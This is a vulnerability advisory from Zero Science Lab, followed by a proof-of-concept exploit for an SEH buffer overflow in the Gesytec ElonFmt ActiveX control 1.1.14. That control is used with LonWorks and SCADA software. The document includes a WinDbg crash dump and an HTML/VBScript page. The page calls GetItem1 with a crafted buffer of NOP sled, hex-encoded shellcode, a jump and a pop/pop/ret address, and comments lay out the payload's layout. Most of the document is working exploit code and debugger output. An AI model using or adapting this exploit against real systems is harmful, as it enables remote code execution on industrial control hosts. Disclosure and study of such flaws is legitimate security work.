The Gesytec ElonFmt active-x control module suffers from a buffer overflow vulnerability. When a large buffer is sent to the pid item of the GetItem1 function in the elonfmt.ocx module, a few memory registers get overwritten including the SEH. Proof of concept exploit included. Version 1.1.14 is affected.
d243509ba1defdb6a43cd5e44c3842fe251b3364720483e0de16bec5c0e5ef92<!--
Gesytec ElonFmt ActiveX 1.1.14 (ElonFmt.ocx) pid Item Buffer Overflow (SEH)
Vendor: Gesytec GmbH
Product web page: https://www.gesytec.de
Affected version: 1.1.14.1
Summary: Connects LonWorks networks to process control, visualization, SCADA
and office software.
Desc: The ElonFmt ActiveX Control Module suffers from a buffer overflow
vulnerability. When a large buffer is sent to the pid item of the GetItem1
function in elonfmt.ocx module, we get a few memory registers overwritten
including the SEH. We're dealing with a character translation. An attacker
can gain access to the system on the affected node and execute arbitrary code.
----------------------------------------------------------------------------------
(fc.1608): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=cccccccc edx=7c9032bc esi=00000000 edi=00000000
eip=cccccccc esp=0013e7d8 ebp=0013e7f8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
cccccccc ?? ???
0:000> !exchain
0013e7ec: ntdll!ExecuteHandler2+3a (7c9032bc)
0013ecf0: cccccccc
Invalid exception stack at bbbbbbbb
0:000> u 0013ecf0
0013ecf0 bbbbbbbbcc mov ebx,0CCBBBBBBh
0013ecf5 cc int 3
0013ecf6 cc int 3
0013ecf7 cc int 3
0013ecf8 dddd fstp st(5)
0013ecfa dddd fstp st(5)
0013ecfc dddd fstp st(5)
0013ecfe dddd fstp st(5)
...
...
...
0:000> d esp
0013eb58 01 00 00 00 8d 61 53 80-7c 5a 63 af 00 00 00 00 .....aS.|Zc.....
0013eb68 88 d5 2e ba 00 00 00 00-24 46 53 8a 00 86 8f bf ........$FS.....
0013eb78 a8 5a 63 af a8 5a 63 af-fb 0a 80 bf 60 29 53 89 .Zc..Zc.....`)S.
0013eb88 ce 86 8f bf 68 d5 2e ba-88 d5 2e ba 00 00 00 00 ....h...........
0013eb98 06 00 05 00 a1 00 00 00-2e 0e 73 74 d1 18 43 7e ..........st..C~
0013eba8 01 00 00 00 00 00 00 00-40 f7 47 00 81 18 c3 77 ........@.G....w
0013ebb8 1a 03 00 00 a2 56 00 10-00 ed 13 00 e8 eb 13 00 .....V..........
0013ebc8 20 8f 63 01 b8 8e 63 01-81 18 c3 77 01 00 00 00 .c...c....w....
0:000> d
0013ebd8 64 21 12 77 ff 00 00 00-74 e1 97 7c 51 7c 91 7c d!.w....t..|Q|.|
0013ebe8 aa aa aa aa aa aa aa aa-aa aa aa aa aa aa aa aa ................
0013ebf8 aa aa aa aa aa aa aa aa-aa aa aa aa aa aa aa aa ................
0013ec08 aa aa aa aa aa aa aa aa-aa aa aa aa aa aa aa aa ................
0013ec18 aa aa aa aa aa aa aa aa-aa aa aa aa aa aa aa aa ................
0013ec28 aa aa aa aa aa aa aa aa-aa aa aa aa aa aa aa aa ................
0013ec38 aa aa aa aa aa aa aa aa-aa aa aa aa aa aa aa aa ................
0013ec48 aa aa aa aa aa aa aa aa-aa aa aa aa aa aa aa aa ................
...
...
...
0:000> d
0013ece8 aa aa aa aa aa aa aa aa-bb bb bb bb cc cc cc cc ................
0013ecf8 dd dd dd dd dd dd dd dd-dd ad d0 01 01 00 63 01 ..............c.
0013ed08 00 00 00 00 b8 8e 63 01-01 00 00 00 00 ed 13 00 ......c.........
0013ed18 82 a5 00 10 8c ed 13 00-b8 8e 63 01 28 ee 13 00 ..........c.(...
0013ed28 00 00 00 00 80 02 63 01-80 ed 13 00 ae 43 dd 73 ......c......C.s
0013ed38 5c ed 13 00 d8 f0 00 10-02 00 00 00 d9 a3 00 10 \...............
0013ed48 80 02 63 01 24 8e 56 01-01 00 00 00 78 8e 63 01 ..c.$.V.....x.c.
0013ed58 48 ed 13 00 80 ed 13 00-98 f0 00 10 01 00 00 00 H...............
----------------------------------------------------------------------------------
Tested on: Microsoft Windows XP Professional SP3 (EN)
Easylon OPC Server M 2.30.66.0
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
liquidworm gmail com
Zero Science Lab - https://www.zeroscience.mk
High five to sickn3ss!
Advisory ID: ZSL-2011-5011
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5011.php
09.04.2011
JUST A PoC MODEL:
-->
<html>
<object classid='clsid:824C4DC5-8DA4-11D6-A01F-00E098177CDC' id='zsl' />
<script language='VBScript'>
targetFile = "C:\Easylon\Shared\ElonFmt.ocx"
prototype = "Function GetItem1 ( ByVal typeName As String , ByVal pid As String , ByVal selector As Integer ) As Object"
memberName = "GetItem1"
progid = "ELONFMTLib.ElonFmt"
argCount = 3
arg1="defaultV"
arg2 = String(10, "90") _
+ "2bc9b88bc18865b132ddc3d97424f45d31450e03" _
+ "450e834ec56a90ac2ee35b4caf94d2a99e8681ba" _
+ "b316c1ee3fdc871acb900f2d7c1e76007daeb6ce" _
+ "bdb04a0c921272dfe753b33d07016c4abab6190e" _
+ "07b6cd0537c068d9cc7a72097cf03cb1f65e9dc0" _
+ "dbbce18b5076910ab1465a3dfd0565f2f054a134" _
+ "eb22d94796341a3a4cb0bf9c0762641dcbf5ef11" _
+ "a072b7353756c341bc5904c0867d80895d1f9177" _
+ "3320c1dfec8489cdf9bfd39bfc326ee2ff4c7144" _
+ "687cfa0bef8129681fc870d88895e059d525df9d" _
+ "e0a5ea5d17b59e5853717210cc147487ed3c1746" _
+ "7edcd8" _
+ String(62, "A") + "eb069090" + "78c70110" _
+ "e9e0fdffff" + String(20, "D")
arg3=1
zsl.GetItem1 arg1 ,arg2 ,arg3
'
'Argument No.2 Structure:
'--------------------------------------------------------------------------------------------------------------
'
' (20)NOPSLED + (446)SCODE(calc) + (62)JUNK + (8)JMP + (8)P/P/R EDI LDRF32R.dll + (10)JMP BCk + (20)JUNK
'
'--------------------------------------------------------------------------------------------------------------
'
'
'
'Scenes (2/5)
'--------------------------------------------------------------------------------------------------------------
'
'arg2 = String(528, "A") + "BBBBBBBB" + "CCCCCCCC" + "DDDDDDDD" + "41414141"
'
' junk nseh seh(eip) pad eip
'
'--------------------------------------------------------------------------------------------------------------
'
'arg2 = String(528, "A") + "BBBBBBBB" + "CCCCCCCC" + String(101, "D")
'
' junk nseh seh(eip) random
'
'--------------------------------------------------------------------------------------------------------------
'
</script>
</html>
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